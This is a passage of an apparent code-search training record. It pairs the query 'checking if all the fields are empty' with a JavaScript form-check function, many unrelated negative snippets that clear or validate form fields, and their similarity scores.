'\"]').change(function () {\n var email = jQuery('input[name=\"billing_email\"]').val();\n if (email){\n var elem = jQuery(this),\n nameValue = jQuery.trim(elem.val());\n _learnq.push([\"identify\", {nameType : nameValue}]);\n }\n })\n }\n}", "setup() {\n\t\tlet inputs = [\n\t\t\t{\n\t\t\t\tname: \"itemName\",\n\t\t\t\tlabel: \"Item Name\",\n\t\t\t\tplaceholder: \"Insert new item name\",\n\t\t\t\trules: \"required|string\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"itemPrice\",\n\t\t\t\tlabel: \"Price\",\n\t\t\t\tplaceholder: \"Insert new item price\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"itemDesc\",\n\t\t\t\tlabel: \"Description\",\n\t\t\t\tplaceholder: \"Insert new item description\",\n\t\t\t\ttype: \"textbox\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"itemWidth\",\n\t\t\t\tlabel: \"itemWidth\",\n\t\t\t\tplaceholder: \"Width\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"itemLength\",\n\t\t\t\tlabel: \"itemLength\",\n\t\t\t\tplaceholder: \"Length\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"itemHeight\",\n\t\t\t\tlabel: \"itemHeight\",\n\t\t\t\tplaceholder: \"Height\",\n\t\t\t},\n\t\t];\n\n\t\treturn {\n\t\t\tfields: inputs,\n\t\t};\n\t}", "function checklist_force_true() {\n var ch = $('#checklist');\n ch.attr('name',\"true\");\n ch.attr('phone',\"true\");\n ch.attr('email',\"true\");\n ch.attr('street',\"true\");\n ch.attr('zipcode',\"true\");\n ch.attr('city',\"true\");\n ch.attr('unit',\"true\");\n ch.attr('state',\"true\");\n validate_company_checklist();\n}", "static validateFields(newTask) {\n if (newTask.name === \"\") {\n return { flag: false, field: 0 };\n }\n if (newTask.description === \"\") {\n return { flag: false, field: 1 };\n }\n return { flag: true, field: -1 };\n }", "_mapFieldsToMenu() {\n const that = this;\n\n if (!that.fields && !that._valueFields) {\n return;\n }\n\n that._fields = (that.fields || that._valueFields).concat(that._manuallyAddedFields).map(field => {\n return { label: field.label, value: field.dataField, dataType: field.dataType, filterOperations: field.filterOperations, lookup: field.lookup };\n });\n }", "function getFormChecks() {\n\tvar formChecks = [];\n\t$.each(domElements.inputsFormCheck.el, function(k, v) {\n\t\tif ($(v).is(':checked')) {\n\t\t\tformChecks.push(k);\n\t\t}\n\t});\n\treturn formChecks;\n}", "function addFieldValidate(element){\n $(element).find('[data-validate=\"true\"]').each(function(i,input){\n $('#templateform').bootstrapValidator('addField',$(input));\n })\n }", "validateCollectionRow(collectionName,row,item) {\n let error = {};\n Object.keys(row).forEach(fieldName => {\n let fieldError = this.validateCollectionField(collectionName,fieldName,row[fieldName],item);\n if (fieldError) error[fieldName] = fieldError;\n });\n return error;\n }", "async post(request) {\n debug(formatWithOptions({colors: true}, '[CHECKS][POST] Request: %O', request));\n\n // Validate\n const protocol = validate(request.payload.protocol, 'enum', {enumArr: this._protocols});\n const url = validate(request.payload.url, 'string');\n const method = validate(request.payload.method, 'enum', {enumArr: this._methods});\n const successCodes = validate(request.payload.successCodes, 'array');\n const timeoutSeconds = validate(request.payload.timeoutSeconds, 'number', {integer: true});\n debug(formatWithOptions({colors: true}, '[CHECKS][POST] Validation: %O', {protocol, url, method, successCodes, timeoutSeconds}));\n\n if(!protocol || !url || !method || !successCodes || !timeoutSeconds){\n const invalid = invalidFields({protocol, url, method, successCodes, timeoutSeconds}).join(', ');\n return {status: 400, payload: {err: 'Validation', message: `Missing or invalid required fields: ${invalid}.`}, contentType: 'application/json'};\n }\n\n // Look up the user\n const userData = await _data.read('users', request.token.phone);\n\n // make sure user's checks is an array\n userData.checks = validate(userData.checks, 'array') ? userData.checks : [];\n\n // Verify that the user has less than the number of max-checks-per-user\n if(userData.checks.length >= config.maxChecks){\n return {status: 400, payload: {err: 'Bad Request', message: `You already has the maximum number of checks (${config.maxChecks})`}, contentType: 'application/json'}\n }\n\n // Create check object\n const checkObject = {\n id: createRandomString(this._checkIdLength),\n phone: request.token.phone,\n protocol,\n url,\n method,\n successCodes,\n timeoutSeconds,\n };\n\n // Save\n await _data.create('checks', checkObject.id, checkObject);\n\n // Append to user data and update\n userData.checks.push(checkObject.id);\n await _data.update('users', request.token.phone, userData);\n\n debug(formatWithOptions({colors: true}, '[CHECKS][POST] Response: %O', checkObject));\n return {status: 201, payload: checkObject, contentType: 'application/json'};\n }", "updateFieldItems() {\n this.fieldItems = this.getFieldItems();\n this.fullQueryFields = this.getFullQueryFields();\n this.availableFieldItemsForFieldMapping = this.getAvailableFieldItemsForFieldMapping();\n this.availableFieldItemsForMocking = this.getAvailableFieldItemsForMocking();\n this.mockPatterns = this.getMockPatterns();\n }" ]
[ "0.6637967", "0.60895", "0.59596807", "0.58211315", "0.58048826", "0.578786", "0.5741759", "0.5701214", "0.5592482", "0.5536913", "0.5534224", "0.5506523", "0.5474426", "0.54661673", "0.5407057", "0.53772634", "0.53539664", "0.5326372", "0.531901", "0.5309907", "0.53089356", "0.5274538", "0.5248883", "0.52309847", "0.5230148", "0.5168267", "0.516709", "0.51541084", "0.51180667", "0.511214", "0.50870526", "0.508523", "0.5055766", "0.504906", "0.504431", "0.5033387", "0.50207144", "0.50157714", "0.5011578", "0.50007063", "0.49965155", "0.49817502", "0.4973788", "0.4972632", "0.4971848", "0.4957032", "0.49488065", "0.49486217", "0.49466074", "0.49439302", "0.4931764", "0.4927797", "0.49235702", "0.49179742", "0.49044886", "0.4901629", "0.4899527", "0.48807222", "0.48508844", "0.4850135", "0.48471242", "0.483944", "0.48380363", "0.48360857", "0.48347083", "0.48318753", "0.48312548", "0.48216528", "0.4794265", "0.47825718", "0.47815597", "0.47790763", "0.47694153", "0.47582343", "0.4754144", "0.47532126", "0.47525537", "0.4746597", "0.47431016", "0.47389242", "0.4738923", "0.47340062", "0.47211388", "0.47192383", "0.47179615", "0.47139376", "0.4703794", "0.47021016", "0.47020295", "0.46991953", "0.46986976", "0.46986103", "0.4694582", "0.46912584", "0.46892712", "0.46886018", "0.46838364", "0.4680891", "0.4680285", "0.4677941" ]
0.50731343
32
set all fields to empty
function clearFields () { document.getElementById("net-sales").value = ""; document.getElementById("20-auto-grat").value = ""; document.getElementById("event-auto-grat").value = ""; document.getElementById("charge-tip").value = ""; document.getElementById("liquor").value = ""; document.getElementById("beer").value = ""; document.getElementById("wine").value = ""; document.getElementById("food").value = ""; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.name = \"\";\r\n self.model.address = \"\";\r\n }", "function clearFields() {\n employeeId.value = \"\";\n firstName.value = \"\";\n lastName.value = \"\";\n address.value = \"\";\n emailId.value = \"\";\n}", "function clearFields() {\n setName(\"\");\n setCpf_cnpj(\"\");\n setRg(\"\");\n setPhone(\"\");\n setEmail(\"\");\n setCheckedTypeAdmin(false);\n setCheckedTypeAttendance(false);\n }", "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.component = \"\";\r\n }", "function clearFields() {\n movie_name.value = '';\n release_date.value = '';\n movie_banner.value = '';\n description.value = '';\n}", "clearFields(){\n this.description.value = \"\"\n this.amount.value = \"\"\n this.date.value = \"\"\n }", "function emptyFields(that){\r\n var source_id = $(that).attr('id');\r\n //list of fields to be emptied should given coma seperated\r\n var empty_to_fields = ($('#'+source_id).attr('empty_fields')).split(',');\r\n \r\n //setting all value blank\r\n for(var i=0 ; i< empty_to_fields.length ; i++){\r\n $('#'+empty_to_fields[i]).val('');\r\n }\r\n}", "function clearFields() {\n firstName.value = \"\";\n lastName.value = \"\";\n jobYears.value = \"\";\n salary.value = \"\";\n position.value = \"\";\n team.value = \"\";\n phone.value = \"\";\n email.value = \"\";\n paysTax.checked = false;\n}", "clearFields(fields) {\n fields.forEach(function (field) {\n $(field).val('');\n });\n }", "function emptyExtraFields(fieldsToEmpty){\n if(fieldsToEmpty){\n Array.from(fieldsToEmpty.split(',')).forEach(function(selector){\n let fields = document.querySelectorAll(selector);\n Array.from(fields).forEach(function(field){\n if(field){\n field.value = '';\n }\n });\n });\n Array.from(document.querySelectorAll('[data-click-bind]')).forEach(function(binding){\n renderState(binding);\n });\n }\n }", "clearFields() {\r\n document.getElementById('title').value = '',\r\n document.getElementById('author').value = '',\r\n document.getElementById('isbn').value = '';\r\n }", "function ClearFields()\n {\n $(':input').each(function () {\n\n if (this.type == 'text' || this.type == 'textarea' || this.type=='file'||this.type=='hidden') {\n this.value = '';\n }\n else if (this.type == 'radio' || this.type == 'checkbox') {\n this.checked = false;\n }\n else if (this.type == 'select-one' || this.type == 'select-multiple') {\n this.value = '-1';\n }\n });\n\n }", "clearFields() {\n document.getElementById('title').value = '';\n document.getElementById('author').value = '';\n document.getElementById('isbn').value = '';\n }", "function clearFields(elements) {\n elements.string.value = '';\n elements.replace.value = '';\n}", "static clearFields(){\n document.getElementById('title').value = '';\n document.getElementById('author').value = '';\n document.getElementById('isbn').value = '';\n }", "clearFields() {\n document.getElementById('title').value='';\n document.getElementById('author').value='';\n document.getElementById('isbn').value='';\n }", "function emptyFields() {\n $(\"#name\").val(\"\");\n $(\"#profile-input\").val(\"\");\n $(\"#email-input\").val(\"\");\n $(\"#password-input\").val(\"\");\n $(\"#number-input\").val(\"\");\n $(\"#fav-food\").val(\"\");\n $(\"#event-types\").val(\"\");\n $(\"#zipcode\").val(\"\");\n $(\"#radius\").val(\"\");\n }", "function ClearFields() { }", "static clearFields() {\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#rating').value = '';\n document.querySelector('#price').value = '';\n document.querySelector('#isbn').value = '';\n }", "static clearFields() {\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "clear() {\n this.jQueryName.val('');\n this.jQueryEmail.val('');\n this.jQueryCount.val('');\n this.jQueryPrice.val('$');\n\n this.jQueryCities.selectAll.prop('checked', false);\n this.jQueryCities.cities.prop('checked', false);\n\n this.clearInvalid();\n this.hideNotes();\n }", "clearFields(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#reference').value = '';\n document.querySelector('#price').value = '';\n }", "clearFields(){\n document.querySelector(\"#contName\").value = '';\n document.querySelector(\"#contAge\").value = '';\n document.querySelector(\"#contLocation\").value = '';\n document.querySelector(\"#song\").value = '';\n document.querySelector(\"#link\").value = '';\n \n\n }", "function clearFields() {\r\n\t\t\t\t\t\t$('#tf_Id').val(null);\r\n\t\t\t\t\t\t$('#tf_Descricao').val(null);\r\n\t\t\t\t\t\t$('#slc_Marca').val(0);\r\n\t\t\t\t\t\t$('#slc_TipoVeiculo').val(0);\r\n\t\t\t\t\t\t$('#slc_Status').val(0);\r\n\t\t\t\t\t\t$('#btn-operation').val(\"Criar Modelo\");\r\n\t\t\t\t\t}", "static clearFields() {\n document.querySelector('#date').value = '';\n document.querySelector('#title').value = '';\n document.querySelector('#post').value = '';\n }", "function clearFields(event) {\n event.target.fullName.value = '';\n event.target.status.value = '';\n }", "clearValues(){\n\t\t\tthis.addedName = '';\n\t\t\tthis.addedPrice = 0;\n\t\t\tthis.commission = 0;\n\t\t\tthis.totalContractValue = 0;\n\t\t\t\n\t\t}", "function clearFields() {\n name.value = \"\";\n title.value = \"\";\n hourlyRate.value = \"\";\n hours.value = \"\";\n salary.value = \"\";\n baseSalary.value = \"\";\n commissionRate.value = \"\";\n sales.value = \"\";\n commissionOption.checked = false;\n salaryOption.checked = false;\n hourlyOption.checked = false;\n hourlyEntry.style.display = \"none\";\n salaryEntry.style.display = \"none\";\n commissionEntry.style.display = \"none\";\n }", "static clearFields(){\n document.querySelector('#title').value ='';\n document.querySelector('#author').value ='';\n document.querySelector('#isbn').value ='';\n }", "clearFields() {\n this._form.find('.form-group input').each((k, v) => {\n let $input = $(v);\n if ($input.attr('type') !== \"hidden\") {\n $input.val('');\n }\n });\n }", "function clearInputFields() {\n $('input#date').val('');\n $(\"select\").each(function () {\n this.selectedIndex = 0;\n });\n }", "reset() {\n this.fieldContainer.all().forEach((field) => {\n field.initialValue = field.value;\n this._validateField(field, field.value);\n });\n }", "function clearAll()\n{\n\t$(\"input[type=password],input[type=text],input[type=date],textarea,input[type=email]\").val('');\n\t$(\"select\").val('0');\n\t\n}", "function emptyFields() {\n document.getElementById(\"title\").value = null;\n document.getElementById(\"urgency\").value = \"High Urgency\";\n document.getElementById(\"importance\").value = \"High Importance\";\n document.getElementById(\"date\").value = null;\n document.getElementById(\"description\").value = null;\n}", "function clearInputs(){\n\t//array is filled with the HTML ids of the input value fields\n\t//array loops through each id,resets the value to empty string\n\t\tvar inputIds = [\n\t\t\t\ttitleInput,\n\t\t\t\turgency,\n\t\t\t\t ];\n\n\t\t\tinputIds.forEach(function(id){\n\t\t\t\t\tid.value = '';\n\t\t\t});\n}", "function resetAllFields() {\r\n for (let i = 0; i < validators[dataType].length; i++) {\r\n validators[dataType][i].touched = false;\r\n }\r\n}", "function clearFields(){\n\t$(\".form-control\").val(\"\");\n}", "function clearFields(){\n\t$(\".form-control\").val(\"\");\n}", "function clearField(x) {\n\t x.value = '';\n\t}", "reset() {\n for (let field in this.originalData) {\n this[field] = '';\n }\n\n this.errors.clear();\n }", "reset() {\n for (let field in this.originalData) {\n this[field] = '';\n }\n\n this.errors.clear();\n }", "reset() {\n for (let field in this.originalData) {\n this[field] = '';\n }\n\n this.errors.clear();\n }", "static clearField(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "function clear_form_data() {\n $(\"#product_id\").val('');\n $(\"#rec_product_id\").val('');\n $(\"#rec_type_id\").val('1');\n $(\"#weight_id\").val('');\n }", "function ResetCompanyFieldValues(){\n\t\t\t\n\t\t\tCompanyData.CompanyID2_FieldValue=\"NONE\";//\n\t\t\tCompanyData.CompanyEmail_FieldValue=\"NONE\";//\n\t\t\tCompanyData.CompanyPhone_FieldValue=\"NONE\";//\n\t\t\tCompanyData.Address_FieldValue=\"NONE\";//\t\t\n\t\t}", "reset() {\n this.resetFields();\n this.resetStatus();\n }", "function clear_form_data() {\n $(\"#promotion_title\").val(\"\");\n $(\"#promotion_promotion_type\").val(\"\");\n $(\"#promotion_start_date\").val(\"\");\n $(\"#promotion_end_date\").val(\"\");\n $(\"#promotion_active\").val(\"\");\n }", "function clearInputfields() {\r\n\t$('#title').val('');\r\n\t$('#desc').val('');\r\n\t$('#email').val('');\r\n}", "clearFields() {\n document.getElementById('product-name').value = '';\n document.getElementById('price').value = '';\n document.getElementById('qty').value = '';\n }", "clearFields() {\n document.getElementById('product-name').value = '';\n document.getElementById('price').value = '';\n document.getElementById('qty').value = '';\n }", "function clearFieldsValue(fields){\n\tfor(var i=0;i<fields.length;i++){\n\t\tvar field = $(fields[i]);\n\t\tfield.value = '';\n\t\tfield.checked = false;\n\t}\n}", "reset() {\n for (let field in this.originalData) {\n this[field] = '';\n }\n\n this.errors.clear();\n }", "function set_allF_clear(){\n $(\"#fmTgl\").val(\"\");\n $(\"#fmBln\").val(\"\");\n }", "clearInputs() {\n\t\t$(this.elementConfig.nameInput).val(\"\");\n\t\t$(this.elementConfig.courseInput).val(\"\");\n\t\t$(this.elementConfig.gradeInput).val(\"\");\n\n\t}", "function clearFields() {\n $('#input_form')[0].reset()\n }", "function clearField() {\n let emptyField = temp.value = '';\n let emptyResult = result.textContent = '';\n }", "function clearForm() {\n\t\tconst blankState = Object.fromEntries(\n\t\t\tObject.entries(inputs).map(([key, value]) => [key, \"\"])\n\t\t);\n\t\tsetInputs(blankState);\n\t}", "function clearFields(){\n $(\"#idInput\").val('');\n $(\"#titleInput\").val('');\n $(\"#contentInput\").val('');\n $(\"#authorInput\").val('');\n $(\"#dateInput\").val(''); \n $(\"#authorSearch\").val('');\n $(\"#idDelete\").val('');\n}", "function clearInputFields() {\n $('#firstName').val('');\n $('#lastName').val('');\n $('#idNumber').val('');\n $('#jobTitle').val('');\n $('#annualSalary').val('');\n} // END: clearInputFields()", "clearField() {\n document.querySelector('#name').value = '';\n document.querySelector('#email').value = '';\n document.querySelector('#profession').value = '';\n }", "function clearFields() {\n $('#p1-fn-input').val('');\n $('#p1-ln-input').val('');\n $('#p2-fn-input').val('');\n $('#p2-ln-input').val('');\n $('#PIN').val('');\n}", "function clearFormFields() {\n\t$(\".user-name\").val(\"\");\n\t$(\".user-email\").val(\"\");\n}", "function clearTable(){\n form.locationName.value = '';\n form.locationMinCustomers.value = '';\n form.locationMaxCustomers.value = '';\n form.locationAvgCookiesSold.value = '';\n}", "function clear_form_data() {\n $(\"#inventory_name\").val(\"\");\n $(\"#inventory_category\").val(\"\");\n $(\"#inventory_available\").val(\"\");\n $(\"#inventory_condition\").val(\"\");\n $(\"#inventory_count\").val(\"\");\n }", "function clearInput() {\n inputFields[0].value = '';\n inputFields[1].value = '';\n inputFields[2].value = '';\n inputFields[3].value = ''\n}", "resetFields(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "_clearForm() {\n // Clears input fields\n itemNameInput.value =\n itemDueDateInput.value =\n itemTimeDueInput.value =\n itemDescriptionInput.value =\n \"\";\n // Makes sure default pri always \"no priority\"\n itemPriorityInput.value = \"no_pri\";\n }", "function clearFields() {\n \t$('#frmMain').removeClass('submitted'); \n \t\n \t$('#frmMain').find(':input').each(function(){\n \t\tvar id = $(this).prop('id');\n \t\tvar Value = $('#' + id).val(\" \");\n \t});\n \t \t\n \t$('#txtShape').val('Rod'); \n \t$(\"#drpInch\").val(0);\n $(\"#drpFraction\").val(0);\n \n UncheckAllCheckBox();\n clearSelect2Dropdown();\n \n \t$('.addTR').text(\"Add\");\n \tisEdit = false;\n \n }", "function resetform() {\n clearField(nameField);\n clearField(emailField);\n clearField(messageField);\n}", "function clearInputFields() {\n zipcodeInput.val('');\n cityInput.val('');\n stateInput.val('');\n} //end clearInputFields", "function clearALL() {\r\n document.getElementById('txt_bmiWeight').value = \"\";\r\n document.getElementById('txt_bmiHeight').value = \"\";\r\n document.getElementById('txt_bmiCalculated').value = \"\";\r\n}", "function clearALL() {\r\n document.getElementById('txt_bmiWeight').value = \"\";\r\n document.getElementById('txt_bmiHeight').value = \"\";\r\n document.getElementById('txt_bmiCalculated').value = \"\";\r\n}", "function resetFields(...args) {\r\n args.forEach(argument => argument.value=\"\");\r\n}", "function clearFields(){\n document.querySelector('#name').value = ''\n document.querySelector('#caption').value = ''\n document.querySelector('#url').value = ''\n}", "function clearFields() {\n $scope.customerToAdd = null;\n $scope.myDate = null;\n }", "function blankAddress(){\n $('#c_addr_1').val(null);\n $('#c_addr_2').val(null);\n $('#c_addr_3').val(null);\n }", "function clear_form_data() {\n $(\"#promo_name\").val(\"\");\n $(\"#promo_type\").val(\"\");\n $(\"#promo_value\").val(\"\");\n $(\"#promo_start_date\").val(\"\");\n $(\"#promo_end_date\").val(\"\");\n $(\"#promo_detail\").val(\"\");\n $(\"#promo_available_date\").val(\"\");\n }", "function clear_form_data() {\n $(\"#cust_id\").val(\"\");\n $(\"#order_id\").val(\"\");\n $(\"#item_order_status\").val(\"\");\n }", "resetFields() {\n keys(this.initialFields).forEach((key) => this[key] = this.initialFields[key]);\n }", "function clear_form_data() {\n $(\"#customer_id\").val(\"\");\n $(\"#product_id\").val(\"\");\n $(\"#text\").val(\"\");\n $(\"#quantity\").val(\"\");\n $(\"#price\").val(\"\");\n }", "function resetFields()\r\n{\r\n addressRef.value = \"\";\r\n roomNumberRef.value = \"\";\r\n seatsUsedRef.value = \"\";\r\n seatsTotalRef.value = \"\";\r\n updateTextfieldClasses();\r\n \r\n lightsClassRef.MaterialSwitch.off();\r\n heatingCoolingClassRef.MaterialSwitch.off();\r\n useAddressClassRef.MaterialCheckbox.uncheck();\r\n errorMessagesRef.innerHTML = \"\";\r\n \r\n cleanUpToast();\r\n}", "clear(field) {\n if (field === undefined) {\n this.field = [];\n } else {\n this.fields[field] = undefined;\n }\n this.time = undefined;\n this.fieldsComputed = false;\n }", "function clearValue() {\n setEmail(\"\");\n setPassword(\"\");\n }", "clearFields(){\n this.titleInput.value = '';\n this.bodyInput.value = '';\n }", "function clear_form_data() {\n var item_area=$('#item_area');\n console.log(\"Clear all data\");\n item_area.val(\"\");\n $('#change_course_dis_text').val(\"\");\n $('#course_name_text').val(\"\");\n $('#course_dis_text').val(\"\");\n\n }", "function ClearAllInputs() {\n $.each(Intern_InputFieldElems, function (index, value) {\n if (Intern_InputFieldTypes[index] === \"checkbox\") {\n Intern_InputFieldElems[index].prop('checked', false);\n }\n else if (Intern_InputFieldTypes[index] === \"radio\") {\n var rbName = Intern_InputFieldElems[index].attr(\"name\");\n $('input[name=\"' + rbName + '\"]').prop('checked', false);\n }\n else {\n value.val(\"\");\n }\n });\n }", "function clearFields() {\n \t$('#frmMain').removeClass('submitted'); \t\n \t$('#frmDirectlyBolted').removeClass('submitted'); \t\n \t$('#frmPostWithEndPlate').removeClass('submitted'); \n \t\n \tclearFormFields('frmMain');\n \tclearFormFields('frmDirectlyBolted');\n \tclearFormFields('frmPostWithEndPlate');\n \t \t\n \t$(\"#txtShape\").val('S'); \n $(\"#ddlConnectiontypeMonoRail\").val('curvedRailsNO');\n $(\"#ddlConnectiontypeMonoRail\").trigger(\"change\");\n \t\n \t$('#ConnectiontypeMonorail').val(\"connectionTypeMonoEP\"); \t \t\n \t$(\"#ConnectiontypeMonorail\").trigger(\"change\");\n \t \t \t\n \t$(\".defaultValueZero\").val(0);\n \t\n \tUncheckAllCheckBox();\n \tclearSelect2Dropdown();\n \t\n \t$('#drpBoltGrade').val(getOptId('drpBoltGrade', BoGrGp)).change();\n \t$('#drpBoltDia').val(BoltDiaGP);\n \t\n \t$('.addTR').text(\"Add\");\n \tisEdit = false;\n \tSelected = [];\n }", "@action\n clear() {\n this.deepAction('clear', this.fields);\n }", "function clearTextField() {\r\n\r\n\t/* Set default to 0 */\r\n\t$(\"#cargo_id\").val(\"0\");\r\n\t$(\"#cargo_driver\").val(null);\r\n\t$(\"#cargo_vehicletype\").val(null);\r\n\t$(\"#truck_plate_number\").val(null);\r\n\t$(\"#cargo_company\").val(null);\r\n\r\n\t/* Clear error validation message */\r\n\t$(\"#error\").empty();\r\n\r\n}", "function clearInputFields(){\n $( '#idInput').val( '' );\n $( '#firstNameInput').val( '' );\n $( '#lastNameInput').val( '' );\n $( '#roleInput').val( '' );\n $( '#salaryInput').val( '' );\n}", "reset() {\n this.api.clear();\n this.api = null;\n this.fieldDescriptor.clear();\n this.resetForm();\n }", "function clear_form_data() {\n $(\"#inventory_product_id\").val(\"\");\n $(\"#inventory_condition\").val(\"\");\n $(\"#inventory_quantity\").val(\"\");\n $(\"#inventory_restock_level\").val(\"\");\n $(\"#inventory_available\").val(\"\");\n }", "function clearData() {\n $('#user_name').val('');\n $('#user_age').val('');\n $('#user_ph').val('');\n $('#user_email').val('');\n}", "function clearForm(){\n\t$('#Bio').val('');\n\t$('#Origin').val('');\n\t$('#Hobbies').val('');\n\t$('#DreamJob').val('');\t\n\t$('#CodeHistory').val('');\n\t$('#Occupation').val('');\n\t$('#CurrentMusic').val('');\n\n}", "reset() {\n for (let field in this.originalData) {\n this[field] = ''\n }\n\n this.errorClear()\n }", "function reset() {\n\t$(\"#nombre\").val(null);\n\t$(\"#apellido\").val(null);\n\t$(\"#email\").val(null);\n\t$(\"#telefono\").val(null);\n\t$(\"#institucionSelect\").val(null);\n}", "function clear_field(field) {\n\t\tif (field.value==field.defaultValue) {\n\t\t\tfield.value=''\n\t\t}\n\t}", "reset(){\n\t\tif(!this.empty){\n\t\t\t$(this.element).val(\"\");\n\t\t\tthis.hideErrorMessage();\n\t\t\tthis.removeValidity();\n\t\t\tthis.setErrorMessage(this.emptyMassage);\n\t\t\tthis.insertErrorMessage();\n\t\t\tthis.setEmpty(true);\n\t\t}\n\t}", "function ResetPatientFieldValues(){\t\t\t\n\t\t\t\n\t\t\tPatientData.PatientID_FieldValue=\"NONE\";//\n\t\t\tPatientData.Forename_FieldValue=\"NONE\";//\n PatientData.MiddleName_FieldValue=\"NONE\";//\n\t\t\tPatientData.FirstSurname_FieldValue=\"NONE\";//\n\t\t\tPatientData.SecondSurname_FieldValue=\"NONE\";//\n\t\t\tPatientData.PatientPhone_FieldValue=\"NONE\";//\n\t\t\tPatientData.PatientEmail_FieldValue=\"NONE\";//\n\t\t\tPatientData.CompanyID_FieldValue=\"NONE\";//\n\t\t\tPatientData.Site_FieldValue=\"NONE\";\n\t\t\tPatientData.Department_FieldValue=\"NONE\";\n\t\t\tPatientData.BirthDate_FieldValue=\"NONE\";\n\t\t\tPatientData.JoinDate_FieldValue=\"NONE\";\n\t\t\tPatientData.Gender_FieldValue=\"NONE\";\n\t\t\tPatientData.PatientAddress_FieldValue=\"NONE\";\t\t\t\n\t\t\tPatientData['Income_FieldValue']=\"NONE\";\t\n\t\t}", "function purgeEmptyFields(obj) {\n Object.keys(obj).forEach(key => {\n const val = obj[key];\n if (val === '' || val === false || val === undefined || val === null) {\n delete obj[key];\n }\n });\n return obj;\n}" ]
[ "0.809602", "0.8052918", "0.7952798", "0.77728623", "0.7748216", "0.77035815", "0.76450276", "0.7630688", "0.757368", "0.7529788", "0.7529725", "0.7504444", "0.74412733", "0.74340826", "0.7410372", "0.74059653", "0.73902875", "0.7360029", "0.7359907", "0.7325422", "0.7293635", "0.7229232", "0.72046065", "0.7194886", "0.7184251", "0.7157515", "0.71207815", "0.7120249", "0.7115704", "0.7085414", "0.7077752", "0.70731306", "0.7069309", "0.70596486", "0.7053291", "0.70315665", "0.7015302", "0.7015302", "0.7007643", "0.700528", "0.700528", "0.700528", "0.70024717", "0.6976189", "0.6963809", "0.6945483", "0.69430304", "0.6942055", "0.6939345", "0.6939345", "0.6938027", "0.69350654", "0.6934068", "0.691835", "0.6907933", "0.6907535", "0.68946266", "0.6882698", "0.6875595", "0.6874257", "0.6852636", "0.6823289", "0.6822547", "0.6822406", "0.6819786", "0.6804561", "0.67921567", "0.6781722", "0.6780816", "0.6773257", "0.6772692", "0.6772692", "0.6768245", "0.67602605", "0.6756532", "0.6755731", "0.6754309", "0.6751614", "0.67509735", "0.67470217", "0.6736629", "0.67303133", "0.6728363", "0.6726336", "0.6722305", "0.67140746", "0.6710286", "0.67099905", "0.6709861", "0.66887075", "0.6677579", "0.66649467", "0.6654495", "0.66520846", "0.6644318", "0.6639153", "0.6636682", "0.66272366", "0.66177857", "0.6617011" ]
0.7007942
38
checking if all the fields are empty
function allFieldsAreEmpty() { if ( document.getElementById("net-sales").value == "" && document.getElementById("20-auto-grat").value == "" && document.getElementById("event-auto-grat").value == "" && document.getElementById("charge-tip").value == "" && document.getElementById("liquor").value == "" && document.getElementById("beer").value == "" && document.getElementById("wine").value == "" && document.getElementById("food").value == "" ){ return true } else { return false } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function empty(quote,fields){\n\t\t\tfor(var i=0;i<fields.length;i++){\n\t\t\t\tvar val=quote[fields[i]];\n\t\t\t\tif(typeof val!=\"undefined\") return false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}", "function noFieldsEmpty(_formData) {\n for (let entry of _formData) {\n if (entry[1] == \"\") {\n alert(entry[0] + \" is empty, please fill it in...\");\n return false;\n }\n }\n return true;\n }", "function chmIsAllEmpty(arrFields,msg)\r\n {\r\n // set this flag to true if you want this function to validate\r\n var bValidate = true; \r\n var len = arrFields.length;\r\n var iIndex = 0;\r\n\r\n if(!bValidate)\r\n {\r\n return false;\r\n }\r\n\r\n for(iIndex = 0; iIndex < len; iIndex++)\r\n {\r\n if(eval(arrFields[iIndex]))\r\n {\r\n if(!isEmpty(eval(arrFields[iIndex])))\r\n {\r\n return false;\r\n }\r\n }\r\n }\r\n alert(msg);\r\n return true;\r\n }", "isEmpty(...fields) {\n let empty = 0;\n fields.forEach((field) => field.trim() === '' ? empty++ : empty);\n \n if(empty > 0) {\n this.msg = '<div class=\"alert alert-danger\">Please fill out all the fields!</div>';\n this.checkError(this.msg);\n }\n }", "function isAcctAllEmpty() {\n return $(\"#acctCode1CP\").val() == \"\" && $(\"#acctCode2CP\").val() == \"\" && $(\"#acctCode4CP\").val() == \"\" &&\n $(\"#acctCode5CP\").val() == \"\" && $(\"#acctCode6CP\").val() == \"\";\n }", "isEmptyRecord(record) {\n const properties = Object.keys(record);\n let data, isDisplayed;\n return properties.every((prop, index) => {\n data = record[prop];\n /* If fieldDefs are missing, show all columns in data. */\n isDisplayed = (this.fieldDefs.length && isDefined(this.fieldDefs[index]) &&\n (isMobile() ? this.fieldDefs[index].mobileDisplay : this.fieldDefs[index].pcDisplay)) || true;\n /*Validating only the displayed fields*/\n if (isDisplayed) {\n return (data === null || data === undefined || data === '');\n }\n return true;\n });\n }", "requiredFields(){\n // get all the keys in the state\n let keys = Object.keys(this.state);\n // intialize the variable as false\n let emptyFields = false;\n // loop through all the keys and check the value in state to see if any of them are empty strings, if empty then set variable to true\n keys.forEach((key) => {\n if(this.state[key] === ''){\n emptyFields = true;\n }\n })\n return emptyFields;\n }", "function checkFieldEmpty(FieldData,cntErrField)\n{\n if(FieldData.length) \n {\n return false;\n } \n else\n {\n cntErrField.value=\"\";\n return true;\n }\n}", "function validateFields(){\n\tif(!getValue('nombreID')\n\t\t|| !getValue('contactoID') \n\t\t|| !getValue('estadoID')\n\t\t|| !getValue('ciudadID') \n\t\t|| !getValue('shortDesc') \n\t\t|| !getValue('longDesc')\n\t\t|| !isChecked('lblCheck'))\n\t\treturn 